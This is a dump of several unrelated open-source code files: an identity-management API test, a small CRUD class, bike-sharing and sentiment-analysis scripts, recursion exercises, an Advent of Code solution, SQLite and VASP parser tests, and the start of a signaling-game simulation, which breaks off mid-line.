'https://idm-api.test.yandex-team.ru/api/v1/rolenodes/abc_dev/type/services/services_key/meta_other/meta_other_key/service3/service3_key/*/role/3/',\n 'https://idm-api.test.yandex-team.ru/api/v1/rolenodes/abc_dev/type/services/services_key/meta_other/meta_other_key/service3/service3_key/*/role/4/',\n 'https://idm-api.test.yandex-team.ru/api/v1/rolenodes/abc_dev/type/services/services_key/meta_other/meta_other_key/service3/service3_key/*/role/6/',\n ]\n for n, expected_url in enumerate(expected_calls):\n request = mock_request.call_args_list[n][0][0]\n assert request.url == expected_url\n\n # Запрос роли руководителя сервиса\n request = mock_request.call_args_list[9][0][0]\n role_params = loads(request.data)\n assert role_params['path'] == '/services/meta_other/service3/*/4/'\n assert role_params['system'] == 'abc_dev'\n assert request.url == 'https://idm-api.test.yandex-team.ru/api/v1/rolerequests/'\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/integrational/idm_sdk/test_service.py","file_name":"test_service.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14820754703","text":"from app.models import Opinion, Like\nfrom app.utils import create_uuid, get_date_time_jst\nfrom app.crud.base import CRUDBase\n\n\nclass CRUDLike(CRUDBase[Like]):\n def count(\n self,\n opinion: Opinion) -> int:\n\n return Like.objects(opinion=opinion).count()\n\n def create(\n self,\n opinion: Opinion) -> Like:\n\n uuid = create_uuid()\n like_obj = Like(\n uuid=uuid,\n date=get_date_time_jst(),\n opinion=opinion\n )\n like_obj.save()\n return Like.objects(uuid=uuid).first()\n\n\nlike = CRUDLike(Like)\n","repo_name":"nkoguchiDev/meyasubako","sub_path":"backend/app/crud/crud_like.py","file_name":"crud_like.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30557572211","text":"import pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nhourly_data = pd.read_csv('https://raw.githubusercontent.com/'\\\n 'PacktWorkshops/'\\\n 'The-Data-Analysis-Workshop/'\\\n 'master/Chapter01/data/hour.csv')\nprint(hourly_data.head())\nprint(hourly_data.columns)\nprint(f'shape of data : {hourly_data.shape}')\nprint(f'number of missing values in the data: {hourly_data.isnull().sum().sum()}')\nprint(hourly_data.describe().T)\n\npreprocessed_data = hourly_data.copy()\n\nseason_mapping = {1 : 'winter', 2 : 'spring', 3 : 'summer', 4 : 'fall'}\npreprocessed_data['season'] = preprocessed_data['season'].map(season_mapping)\nprint(preprocessed_data['season'].value_counts())\nyr_mapping = {0 : 2011, 1 : 2012}\npreprocessed_data['yr'] = preprocessed_data['yr'].apply(lambda x : yr_mapping[x])\nprint(preprocessed_data['yr'].value_counts())\nweekday_mapping = {0 : 'Sunday', 1 : 'Monday', 2 : 'Tuesday', 3 : 'Wednesday',\n 4 : 'Thursday', 5 : 'Friday', 6 : 'Saturday'}\npreprocessed_data['weekday'] = preprocessed_data['weekday'].map(weekday_mapping)\nprint(preprocessed_data['weekday'].value_counts())\nweather_mapping ={1 : 'clear', 2 : 'cloudy', 3 : 'light_rain_show', 4 : 'heavy_rain_show'}\npreprocessed_data['weathersit'] = preprocessed_data['weathersit'].apply(lambda x : weather_mapping[x])\nprint(preprocessed_data['weathersit'].value_counts())\npreprocessed_data['hum'] = preprocessed_data['hum'] * 100\npreprocessed_data['windspeed'] = preprocessed_data['windspeed'] * 67\ncols = ['season', 'yr', 'weekday', 'weathersit', 'hum', 'windspeed']\npreprocessed_data[cols].sample(10,random_state =123)\nassert (preprocessed_data.casual + preprocessed_data.registered == preprocessed_data.cnt).all(),'sum of casual and registered rides not equal to total number of rides'\n\n'''\n#rides distribution between casual and registered riders\nsns.distplot(preprocessed_data['casual'], label = 'casual')\nsns.distplot(preprocessed_data['registered'], label ='registered')\nplt.legend()\nplt.xlabel('rides', fontsize = 12)\nplt.title('rides distribution', fontsize = 12)\nplt.savefig('rides_distribution.png', format = 'png')\nplt.show()\n\n#plot evolution of rides over the time\nplot_data = preprocessed_data[['registered', 'casual', 'dteday']]\nplt.figure(figsize=(10, 6))\ndata = plot_data.groupby('dteday').sum()\nplt.plot(data)\nplt.xlabel('time')\nplt.ylabel('number of rides per day')\nplt.show()\nplt.savefig('rides_daily.png', format='png')\n\n#ploting the rolling mean or moving average over 1 week period\nplot_data = preprocessed_data[['registered','casual', 'dteday']]\nplot_data = plot_data.groupby('dteday').sum()\nwindow = 7\nrolling_means = plot_data.rolling(window).mean()\nrolling_std = plot_data.rolling(window).std()\nax = rolling_means.plot(figsize=(10, 6))\nax.fill_between(rolling_means.index, rolling_means['registered'] + 2*rolling_std['registered'],\n rolling_means['registered']- 2*rolling_std['registered'], alpha =0.2)\nax.fill_between(rolling_means.index, rolling_means['casual']+2*rolling_std['casual'],\n rolling_means['casual']- 2*rolling_std['casual'], alpha = 0.2)\nplt.xlabel('time')\nplt.ylabel('number of rides per day')\nplt.legend(loc ='upper_left')\nplt.show()\nplt.savefig('rides_aggregated.png', format ='png') \n\nplot_data = preprocessed_data[['hr', 'weekday', 'registered', 'casual']]\nplot_data = plot_data.melt(id_vars= ['hr', 'weekday'], var_name = 'type', value_name ='count')\ngrid = sns.FacetGrid(plot_data, row = 'weekday',col='type', height=2.5,aspect=2.5,\n row_order=['Monday', 'Tuesday', 'Wednesday','Thursday','Friday','Saturday','Sunday'])\ngrid.map(sns.barplot, 'hr', 'count', alpha =0.5)\ngrid.savefig('weekday_hour_distributions.png', format = 'png')\n\n\n#analyzing seasonal impact on rides\nplot_data =preprocessed_data[['hr', 'season', 'registered', 'casual']]\nplot_data = plot_data.melt(id_vars =['hr', 'season'], var_name ='type', value_name ='count')\ngrid=sns.FacetGrid(plot_data, row = 'season', col = 'type', height=2.5, aspect=2.5,\n row_order= ['winter', 'spring', 'summer', 'fall'])\n\ngrid.map(sns.barplot, 'hr','count', alpha =0.5)\ngrid.savefig('season_hr_distribution.png', format ='png')\n\nplot_data = preprocessed_data[['weekday', 'season', 'registered', 'casual']]\nplot_data = plot_data.melt(id_vars = ['weekday', 'season'], var_name = 'type', value_name = 'count')\ngrid = sns.FacetGrid(plot_data,row = 'season', col= 'type',height = 2.5, aspect = 2.5,\n row_order =['winter', 'spring', 'summer', 'fall'])\ngrid.map(sns.barplot, 'weekday', 'count', alpha =0.5)\ngrid.savefig('weekday_season_distribution.png', format ='png')\n\n#hypothesis testing\n#----------------------\npopulation_mean = preprocessed_data.registered.mean()\nsample = preprocessed_data[(preprocessed_data.season =='summer')& (preprocessed_data.yr ==2011) ].registered\nfrom scipy.stats import ttest_1samp\ntest_result = ttest_1samp(sample, population_mean)\nprint(f'test_statstics : {test_result[0]}, p_value: {test_result[1]}')\n\nimport random\nrandom.seed(111)\nsample_unbiased = preprocessed_data.registered.sample(frac =0.05)\ntest_unbiased = ttest_1samp(sample_unbiased, population_mean)\nprint(f'unbiased : test_statistics : {test_unbiased[0]}, p_value : {test_unbiased[1]}')\n\nfrom scipy.stats import ttest_ind\nweekend_days = ['Saturday', 'Sunday']\nweekend_mask = preprocessed_data.weekday.isin(weekend_days)\nworkingdays_mask = ~preprocessed_data.weekday.isin(weekend_days)\nweekend_data = preprocessed_data.registered[weekend_mask]\nworkingdays_data = preprocessed_data.registered[workingdays_mask]\ntest_res = ttest_ind(weekend_data, workingdays_data)\nprint(f'test_statistics : {test_res[0]:0.3f}, p_value : {test_res[1]:0.3f}')\nsns.distplot(weekend_data, label ='weekend days')\nsns.distplot(workingdays_data, label ='working days')\nplt.legend()\nplt.xlabel('rides')\nplt.ylabel('frequency')\nplt.title('Registered rides distribution')\nplt.show()\n\nfrom scipy.stats import ttest_ind\nweekend_days = ['Saturday', 'Sunday']\nweekend_mask = preprocessed_data.weekday.isin(weekend_days)\nworkingdays_mask = ~preprocessed_data.weekday.isin(weekend_days)\nweekend_data = preprocessed_data.casual[weekend_mask]\nworkingdays_data = preprocessed_data.casual[workingdays_mask]\ntest_res = ttest_ind(weekend_data, workingdays_data)\nprint(f'test_statistics : {test_res[0]:0.3f}, p_value : {test_res[1]:0.3f}')\nsns.distplot(weekend_data, label ='weekend days')\nsns.distplot(workingdays_data, label ='working days')\nplt.legend()\nplt.xlabel('rides')\nplt.ylabel('frequency')\nplt.title('casual rides distribution')\nplt.show()\n\ndef plot_correlations(data, col):\n corr_r = np.corrcoef(data[col], data['registered'])[0,1]\n ax = sns.regplot(x = col, y = 'registered', data = data, scatter_kws = {'alpha' : 0.05},label=f'Registered rides (correlation: {corr_r:.3f})')\n corr_c = np.corrcoef(data[col], data['casual'])[0,1]\n ax = sns.regplot(x=col, y= 'casual',data=data, scatter_kws={'alpha':0.05}, label =f'casual rides (correlation: {corr_c:.3f})')\n legend = ax.legend()\n for lh in legend.legendHandles:\n lh.set_alpha(0.5)\n ax.set_ylabel('rides')\n ax.set_title(f'correlation coefficient between rides and {col}')\n return ax\nplt.figure(figsize=(10,8))\nax = plot_correlations(preprocessed_data, 'temp')\nplt.savefig('correlation_temp.png', format ='png')\nplt.figure(figsize =(10,8))\nax = plot_correlations(preprocessed_data, 'atemp')\nplt.savefig('correlation_atemp.png',format ='png')\nplt.figure(figsize =(10,8))\nax =plot_correlations(preprocessed_data, 'hum')\nplt.savefig('correlation_hum.png', format ='png')\nplt.figure(figsize =(10,8))\nax = plot_correlations(preprocessed_data,'windspeed')\nplt.savefig('correlation_windspeed.png', format ='png')\n\nx= np.linspace(0,5,100)\ny_lin = 0.5*x + 0.1 * np.random.randn(100)\ny_exp =np.exp(x) + 0.1 * np.random.randn(100)\nfrom scipy.stats import pearsonr, spearmanr\ncorr_lin_pearson = pearsonr(x, y_lin)[0]\ncorr_lin_spearman = spearmanr(x, y_lin)[0]\ncorr_exp_pearson = pearsonr(x, y_exp)[0]\ncorr_exp_spearman = spearmanr(x, y_exp)[0]\nimport matplotlib.pyplot as plt\nfig, (ax1, ax2) = plt.subplots(1,2,figsize=(10,5))\nax1.scatter(x, y_lin)\nax1.set_title(f'Linear relationship\\nPearson:{corr_lin_pearson:.3f}, Spearman:{corr_lin_spearman:.3f}')\nax2.scatter(x,y_exp)\nax2.set_title(f'Monotonic relationship\\nPearson:{corr_exp_pearson:.3f}, Searman: {corr_exp_spearman:.3f}')\nplt.show()\n\nfrom scipy.stats import pearsonr, spearmanr\ndef compute_correlations(data, col):\n pearson_reg = pearsonr(data[col], data['registered'])[0]\n pearson_cas =pearsonr(data[col], data['casual'])[0]\n spearman_reg =spearmanr(data[col], data['registered'])[0]\n spearman_cas = spearmanr(data[col], data['casual'])[0]\n return pd.Series({'Pearson(registered)': pearson_reg, \n 'Spearman(registered)':spearman_reg,\n 'Pearson(casual)': pearson_cas,\n 'Spearman(casual)':spearman_cas})\ncols = ['temp', 'atemp', 'hum', 'windspeed']\ncorr_data = pd.DataFrame(index= ['Pearson(registered)','Spearman(registered)','Pearson(casual)','Spearman(casual)'])\nfor col in cols:\n corr_data[col] = compute_correlations(preprocessed_data, col)\nprint(corr_data)\n#plot correlation matrix\ncols = ['temp', 'atemp', 'hum', 'windspeed','registered', 'casual']\nplot_data = preprocessed_data[cols]\ncorr = plot_data.corr()\nfig = plt.figure(figsize=(10,8))\nplt.matshow(corr, fignum=fig.number)\nplt.xticks(range(len(plot_data.columns)), plot_data.columns)\nplt.yticks(range(len(plot_data.columns)), plot_data.columns)\nplt.colorbar()\nplt.ylim([5.5, -0.5])\nplt.show()\n'''\nfrom statsmodels.tsa.stattools import adfuller\n\ndef test_stationary(ts, window=10, **kwargs):\n plot_data = pd.DataFrame(ts)\n plot_data['rolling_mean'] = ts.rolling(window).mean()\n plot_data['rolling_std'] = ts.rolling(window).std()\n p_value = adfuller(ts)[1]\n ax= plot_data.plot(**kwargs)\n ax.set_title(f'Dickey-Fuller p-value: {p_value:.3f}')\n\n#get daily rides\ndaily_rides = preprocessed_data[['dteday', 'registered', 'casual']]\ndaily_rides = daily_rides.groupby('dteday').sum()\ndaily_rides.index = pd.to_datetime(daily_rides.index)\n#test_stationary(daily_rides['registered'], figsize=(10,8))\n#test_stationary(daily_rides['casual'],figsize =(10,8))\n#print(daily_rides)\n\n#sutract rolling mean\nregistered = daily_rides['registered']\nregistered_ma = registered.rolling(10).mean()\nregistered_ma_diff = registered - registered_ma\nregistered_ma_diff.dropna(inplace =True)\n\ncasual = daily_rides['casual']\ncasual_ma = casual.rolling(10).mean()\ncasual_ma_diff = casual - casual_ma\ncasual_ma_diff.dropna(inplace =True)\n'''\nplt.figure()\ntest_stationary(registered_ma_diff, figsize =(10,8))\n\nplt.figure()\ntest_stationary(casual_ma_diff, figsize =(10,8))\n'''\nregistered = daily_rides[\"registered\"]\nregistered_diff = registered - registered.shift()\nregistered_diff.dropna(inplace=True)\ncasual = daily_rides[\"casual\"]\ncasual_diff = casual - casual.shift()\ncasual_diff.dropna(inplace=True)\n'''\nplt.figure()\ntest_stationary(registered_diff, figsize=(10, 8))\n\nplt.figure()\ntest_stationary(casual_diff, figsize=(10, 8))\n'''\nfrom statsmodels.tsa.seasonal import seasonal_decompose\nregistered_decomposition = seasonal_decompose(daily_rides['registered'])\ncasual_decomposition = seasonal_decompose(daily_rides['casual'])\n'''\nregistered_plot = registered_decomposition.plot()\nregistered_plot.set_size_inches(10,8)\ncasual_plot = casual_decomposition.plot()\ncasual_plot.set_size_inches(10,8)\n'''\nplt.figure()\ntest_stationary(registered_decomposition.resid.dropna(), figsize =(10,8))\n\nplt.figure()\ntest_stationary(casual_decomposition.resid.dropna(), figsize = (10,8))\n\nfrom statsmodels.graphics.tsaplots import plot_acf, plot_pacf\nfig, axes = plt.subplots(3,3, figsize =(25,12))\noriginal = daily_rides['registered']\naxes[0,0].plot(original)\naxes[0,0].set_title('original series')\nplot_acf(original, ax = axes[0,1])\nplot_pacf(original, ax = axes[0,2])\nfirst_order_int = original.diff().dropna()\naxes[1,0].plot(first_order_int)\naxes[1,0].set_title(\"First order integrated\")\nplot_acf(first_order_int, ax=axes[1,1])\nplot_pacf(first_order_int, ax=axes[1,2])\n# plot first order integrated series\nsecond_order_int = first_order_int.diff().dropna()\naxes[2,0].plot(first_order_int)\naxes[2,0].set_title(\"Second order integrated\")\nplot_acf(second_order_int, ax=axes[2,1])\nplot_pacf(second_order_int, ax=axes[2,2])\n\nfrom pmdarima import auto_arima\nmodel = auto_arima(registered, start_p=1, start_q=1, max_p=3, max_q=3, information_criterion=\"aic\")\nprint(model.summary())\nplot_data = pd.DataFrame(registered)\nplot_data['predicted'] = model.predict_in_sample()\nplot_data.plot(figsize=(12, 8))\nplt.ylabel(\"number of registered rides\")\nplt.title(\"Predicted vs actual number of rides\")\nplt.savefig('figs/registered_arima_fit.png', format='png') \n\n\n \n\n\n\n\n","repo_name":"Krisanu029/Data_Analysis_with_python","sub_path":"bike_sharing_analysis.py","file_name":"bike_sharing_analysis.py","file_ext":"py","file_size_in_byte":12935,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"28713361927","text":"# given a sting or array of integer, get subst\n\n\ndef subset(ip, op):\n if len(ip) == 0:\n print(op)\n return\n else:\n op_skip_ele = op\n op_take_ele = (*op, ip[0])\n ip = ip[1:]\n subset(ip, op_skip_ele)\n subset(ip, op_take_ele)\n\n\ndef subset_global(ip, op):\n if len(ip) == 0:\n res.append(op)\n return\n else:\n op_skip_ele = op\n op_take_ele = (*op, ip[0])\n ip = ip[1:]\n subset_global(ip, op_skip_ele)\n subset_global(ip, op_take_ele)\n\n\ndef subset_return(ip, i=0):\n if len(ip) == 0:\n return [()]\n else:\n ip_new = ip[1:]\n op = subset_return(ip_new)\n op2 = ((ip[0], *i) for i in subset_return(ip_new))\n return (*op, *op2)\n\n\ndef subset_return_process_from_last(ip):\n if len(ip) == 0:\n return [()]\n else:\n ip_new = ip[:-1]\n op = subset_return_process_from_last(ip_new)\n op2 = ((*i, ip[-1]) for i in subset_return_process_from_last(ip_new))\n return (*op, *op2)\n\n\nres = []\nip1 = ('a', 'a', 'c')\nop1 = ()\nprint((subset_return(ip1)))\n# print(res)\n# ('b', 'c')\n\n\"\"\"\n3 ways the function can be implemented\n1. print at base location\n2. use a global variable and store the output during base condition\n3. return the entire output as tuple of tuple\n\"\"\"\n\n# def get_subset(input_, output):\n# if len(input_) == 0:\n# print(output)\n# return\n# output1 = output\n# output2 = (*output, input_[0])\n# n = 0\n# input_ = input_[1:]\n# get_subset(input_, output1)\n# get_subset(input_, output2)\n#\n#\n# get_subset(('a','b','c'), ())\n","repo_name":"Anisha007/DS_Algo_practise","sub_path":"recursion/subset.py","file_name":"subset.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28620309374","text":"file = open(\"test_data.txt\")\nlines = file.readlines()\nfile.close()\n\ndata = []\n\nid = 0\nfor line in lines:\n if line.strip() == \"0\":\n print(\"zero\")\n data.append((0, -1))\n else:\n data.append((int(line) * 811589153, id))\n id += 1\n\noriginal = list(data)\nl = len(data)\n\nfor i in range(10):\n print(\"mix\", i + 1, \"..\")\n for number in original:\n current_position = data.index(number)\n left = data[:current_position]\n right = data[current_position + 1:]\n n = number[0] % (l - 1)\n if n > 0:\n lr = right + left\n data = lr[:n] + [number] + lr[n:]\n else:\n lr = right + left\n data = lr[-n:] + [number] + lr[:-n]\n #print(number, data)\n\ni = data.index((0, -1))\nk1 = data[(i + 1000) % l][0]\nk2 = data[(i + 2000) % l][0]\nk3 = data[(i + 3000) % l][0]\n\nprint(k1, k2, k3)\nprint(k1 + k2 + k3)\n","repo_name":"percyqaz/advent-of-code-2022","sub_path":"XX0/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23105050955","text":"#!/usr/bin/python3\n\nfile_input = open(\"advent_of_code/08.txt\")\n\nspace_image_format = \"\"\n\nfor line in file_input:\n space_image_format = line.strip(\"\\n\")\n\ndimensions = (25, 6)\n\nlayer_len = dimensions[0] * dimensions[1]\nimage_data_len = len(space_image_format)\n\nlayers = []\n\nfinal_i = 0\nfewest_0s = 99999\n\nfor i in range(0,int(image_data_len/layer_len)):\n layer = space_image_format[i*layer_len:(i+1)*layer_len]\n layers.append( layer )\n\nfinal_image = []\n\nfor i in range(0,layer_len):\n for j in range(0, len(layers) ):\n if layers[j][i] == '2':\n continue\n elif layers[j][i] == '1':\n final_image.append('░')\n break\n elif layers[j][i] == '0':\n final_image.append('▓')\n break\n\ni = 0\nfor pixel in final_image:\n print(pixel, end=\"\")\n i += 1\n if (i%dimensions[0] == 0):\n print()\n","repo_name":"Svitanki/2019-AdventOfCode","sub_path":"day08b.py","file_name":"day08b.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25840186370","text":"\"\"\"\nExercise No. 01\n\nUsing the built-in sqlite3 package, SQLite database called 'esmartdata_sqlite3' was prepared, which contains the\nfollowing tables:\n - 'esmartdata_instructor'\n - 'esmartdata_course'\n - 'esmartdata_learningpath'\n - 'esmartdata_membership'\n\nAll operations performed so far on this database can be found in the file create_database.sql.\n\nThe tble 'esmartdata_instructor' contains two records. Using the appropriate statement, insert another record with the\nfollowing data:\n (3, 'Mike', 'Json', 'Python Developer')\n\nCommit the changes and execute the command which will displpay the contents of the 'esmartdata_instructor' table to the\nconsole as show below.\n\nExpected Result:\n (1, 'Paweł', 'Krakowiak', 'Data Scientist/Python Developer/Securities Broker')\n (2, 'takeITeasy', 'Academy', 'Akademia Programowania')\n (3, 'Mike', 'Json', 'Python Developer')\n\"\"\"\nimport sqlite3\n\nconn = sqlite3.connect(\"../esmartdata.sqlite3\")\ncur = conn.cursor()\n\nwith open(\"../Query/create_database.sql\", \"r\", encoding=\"utf8\") as file:\n sql = file.read()\ncur.executescript(sql)\n\ncur.execute('''INSERT INTO \"esmartdata_instructor\" (\"id\", \"first_name\", \"last_name\", \"description\") \nVALUES (3, 'Mike', 'Json', 'Python Developer');''')\n\nprint('Data entered successfully!\\n')\n\ncur.execute(\"SELECT * FROM esmartdata_instructor;\")\n\nfor row in cur.fetchall():\n print(row)\n\n''' 1 - Example\nfor row in cur.execute(\"SELECT * FROM esmartdata_instructor;\"):\n print(row)\n'''\n\nconn.commit()\nconn.close()\n","repo_name":"romulovieira777/110_Exercises_Python_SQL_sqlite3_SQLite_Databases","sub_path":"Section_08_DML_Data_Manipulation_Language/Code_Python/01_Exercise.py","file_name":"01_Exercise.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8153804904","text":"\"\"\"Test eigenval.\"\"\"\nimport os\n\nimport numpy as np\nimport pytest\n\nfrom parsevasp.eigenval import Eigenval\n\ncompare_eigenvalues = np.array([[[\n -1.439825, 2.964373, 2.964373, 2.964373, 7.254542, 7.254542, 7.254542, 11.451811, 11.670398, 11.670398\n]]])\ncompare_kpoints = np.array([[0.25, 0.25, 0.25, 1.0]])\ncompare_metadata = {\n 0: [4, 4, 1, 1],\n 1: [16.48482, 4.04e-10, 4.04e-10, 4.04e-10, 1e-16],\n 2: 0.0001,\n 'n_ions': 4,\n 'n_atoms': 4,\n 'p00': 1,\n 'nspin': 1,\n 'cartesian': True,\n 'name': 'unknown system',\n 'some_num': 12,\n 'n_bands': 10,\n 'n_kp': 1\n}\n\n\n@pytest.fixture\ndef eigenval_parser(request):\n \"\"\"Load EIGENVAL file.\"\"\"\n try:\n name = request.param\n except AttributeError:\n # Test not parametrized\n name = 'EIGENVAL'\n testdir = os.path.dirname(__file__)\n eigenvalfile = testdir + '/' + name\n eigenval = Eigenval(file_path=eigenvalfile)\n\n return eigenval\n\n\n@pytest.fixture\ndef eigenval_parser_file_object(request):\n \"\"\"Load EIGENVAL file from a file object.\"\"\"\n try:\n name = request.param\n except AttributeError:\n # Test not parametrized\n name = 'EIGENVAL'\n testdir = os.path.dirname(__file__)\n eigenvalfile = testdir + '/' + name\n eigenval = None\n with open(eigenvalfile) as file_handler:\n eigenval = Eigenval(file_handler=file_handler)\n\n return eigenval\n\n\ndef test_eigenval(eigenval_parser):\n \"\"\"Test that the content returned by the EIGENVAL parser returns correct eigenvalues, kpoints and metadata.\"\"\"\n eigenvalues = eigenval_parser.get_eigenvalues()\n kpoints = eigenval_parser.get_kpoints()\n metadata = eigenval_parser.get_metadata()\n assert np.allclose(eigenvalues, compare_eigenvalues)\n assert np.allclose(kpoints, compare_kpoints)\n assert metadata == compare_metadata\n","repo_name":"aiida-vasp/parsevasp","sub_path":"tests/test_eigenval.py","file_name":"test_eigenval.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"22455905366","text":"'''\n@Author: your name\n@Date: 2020-02-12 21:43:15\n@LastEditTime: 2020-04-01 10:53:00\n@LastEditors: Please set LastEditors\n@Description: In User Settings Edit\n@FilePath: \\vscode_code\\其他\\数据分析第二版\\数据规整\\2.py\n'''\nimport pandas as pd \n\n\"\"\"\n#这两个:一、concat:沿着一条轴,将多个对象堆叠到一起;二、merge:通过键拼接列,是对于dataframe的合并\n\npd.merge(left, right, how='inner', on=None, left_on=None, right_on=None,\n left_index=False, right_index=False, sort=True,\n suffixes=('_x', '_y'), copy=True, indicator=False,\n validate=None)\npd.concat(objs, axis=0, join='outer', join_axes=None, ignore_index=False, \n keys=None, levels=None, names=None, verify_integrity=False, copy=True)\n\n#https://blog.csdn.net/brucewong0516/article/details/82707492\n#https://blog.csdn.net/gdkyxy2013/article/details/80785361\n\"\"\"\n\n\"\"\"\n#str.cat是针对于拼接而非合并\ndata = {\n 'state':['Ohio1','Ohio1','Ohio2','Nevada3','Nevada3'],\n 'year':[2000,2001,2002,2001,2002],\n 'pop':[1.5,1.7,3.6,2.4,2.9],\n 'salary':['1000K/MTH - 20000K/MTH', '7K/MTH - 8K/MTH',\n '10000K/MTH - 16000K/MTH', '3K/MTH - 5K/MTH', '7K/MTH - 12K/MTH',]\n}\ndata = pd.DataFrame(data)\n\ndata['a'] = data['state'].str.cat(data['salary'], sep = '-')\n#强制转化成了str之后就可以合并了\ndata['year_str'] = data['year'].astype('str')\ndata['b'] = data['state'].str.cat(data['year_str'], sep = '-')\nprint(data)\n\"\"\"\n\nleft = pd.DataFrame({'key': ['K0', 'K1', 'K2', 'K3'],\n 'A': ['A0', 'A1', 'A2', 'A3'],\n 'B': ['B0', 'B1', 'B2', 'B3']})\nright = pd.DataFrame({'key': ['K0', 'K1', 'K2', 'K3'],\n 'C': ['C0', 'C1', 'C2', 'C3'],\n 'D': ['D0', 'D1', 'D2', 'D3']})\n#result = pd.concat([left['A'], right['C']], axis = 1)\nresult = pd.concat(left['A'], right['C'], left_index=True, right_index=True, how='outer')\nprint(result)\n","repo_name":"Summer-Friend/data_analyze","sub_path":"数据规整/数据合并拼接.py","file_name":"数据合并拼接.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"7191312235","text":"# -*- coding: utf-8 -*-\nimport csv\nimport pandas as pd\nimport numpy as np\nimport xml.etree.ElementTree as ET\nfrom nltk.tokenize import TweetTokenizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn import preprocessing\n\nfrom sklearn.svm import LinearSVC\nfrom sklearn.metrics import (\n f1_score,\n confusion_matrix,\n classification_report\n)\n\ndef xml2df(path):\n \"\"\"Function for transform xml dataset to pandas data frame con tweet tok\"\"\"\n XMLdata = open(path).read()\n\n XML = ET.XML(XMLdata)\n\n all_records = []\n for i, child in enumerate(XML):\n record = {}\n for subchild in child:\n record[subchild.tag] = subchild.text\n for subsubchild1 in subchild:\n for subsubchild in subsubchild1:\n record[subsubchild.tag] = subsubchild.text\n \n all_records.append(record)\n df = pd.DataFrame(all_records)\n df = df.rename(columns={ 'value' : 'polarity'})\n del df['sentiment']\n\n \"\"\"Tweet Tokenize\"\"\"\n tknzr = TweetTokenizer()\n\n contents = []\n for content in df['content']:\n contents.append(' '.join(tknzr.tokenize(content)))\n \n return contents, df['polarity'], df\n\ndef tcv2array(path):\n \"\"\"Read tab separated values, # is for comments and dont be load it\"\"\"\n a = []\n with open(path) as tsvfile:\n reader = csv.reader(tsvfile, delimiter='\\t')\n for row in reader:\n if row:\n if row[0][0] != '#':\n a.append(row)\n return a\n\n\"\"\"Read Data to Data Frame\"\"\"\npath = 'data/TASS2017_T1_training.xml'\ntrain_x, train_y, _ = xml2df(path)\n\npath1 = 'data/TASS2017_T1_development.xml'\ndev_x, dev_y, _ = xml2df(path1)\n\n\n\"\"\"Transform data for model\"\"\"\nle = preprocessing.LabelEncoder()\ntrain_y = le.fit_transform(train_y)\ndev_y = le.transform(dev_y)\ny = np.append(dev_y, train_y)\n\n\ncv = TfidfVectorizer()\nx = np.append(dev_x, train_x)\ntrain_x = cv.fit_transform(train_x)\ndev_x = cv.transform(dev_x)\nx = cv.transform(x)\n\n\"\"\"Linear SVM\"\"\"\nprint(\"\"\"Linear SVM\"\"\")\nsvm = LinearSVC()\nsvm.fit(train_x, train_y) \n\n\ny_pred = svm.predict(dev_x)\nprint(\"______________Validation Confusion Matrix______________\")\nprint(confusion_matrix(dev_y, y_pred))\nprint(\"\")\nprint(\"___________________Validation Report___________________\")\nprint(classification_report(dev_y, y_pred))\n\n\nprint(f1_score(dev_y, svm.predict(dev_x), average='micro'))\nprint(f1_score(dev_y, svm.predict(dev_x), average='macro'))\nprint(f1_score(dev_y, svm.predict(dev_x), average='weighted'))\n\n\"\"\"Final Model\"\"\"\nsvm = LinearSVC()\nsvm.fit(x, y)\n\npath2 = 'data/TASS2017_T1_test.xml'\ntest, _, ids = xml2df(path2)\ntest = cv.transform(test)\n\ny_pred = svm.predict(test)\ny_pred_text = \"\"\nfor i in y_pred:\n y_pred_text += str(i) + \"\\n\"\n \nf= open(\"data/Sebastian_Correa_Linear_SVM_Num.txt\",\"w+\")\nf.write(y_pred_text)\nf.close()\n\ny_pred = le.inverse_transform(y_pred)\ny_pred_text = \"\"\nfor index, i in enumerate(y_pred):\n y_pred_text += ids['tweetid'][index]+\" \"+i + \"\\n\"\n \nf= open(\"data/Sebastian_Correa_Linear_SVM_Cat.txt\",\"w+\")\nf.write(y_pred_text)\nf.close()\n","repo_name":"scorrea92/AplicacionesLC","sub_path":"scripts/practicas/practica2.py","file_name":"practica2.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33290803201","text":"# from . import util\nimport util\nimport vis\nfrom agents import Receiver, Sender\nfrom game import distribution_over_states, SignalingGame, indicator\nfrom languages import State, StateSpace, Signal, SignalMeaning, SignalingLanguage\nfrom learning import simulate_learning\n\n\ndef main(args):\n # load game settings\n num_signals = args.num_signals\n num_states = args.num_states\n num_rounds = args.num_rounds\n learning_rate = args.learning_rate\n prior_type = args.distribution_over_states\n seed = args.seed\n\n util.set_seed(seed)\n\n ##########################################################################\n # Define game parameters\n ##########################################################################\n\n # dummy names for signals, states\n state_names = [f\"state_{i+1}\" for i in range(num_states)]\n signal_names = [f\"signal_{i+1}\" for i in range(num_signals)]\n\n # Construct the universe of states, and language defined over it\n universe = StateSpace([State(name=name) for name in state_names])\n\n # All meanings are dummy placeholders at this stage, but they can be substantive once agents are given a weight matrix.\n dummy_meaning = 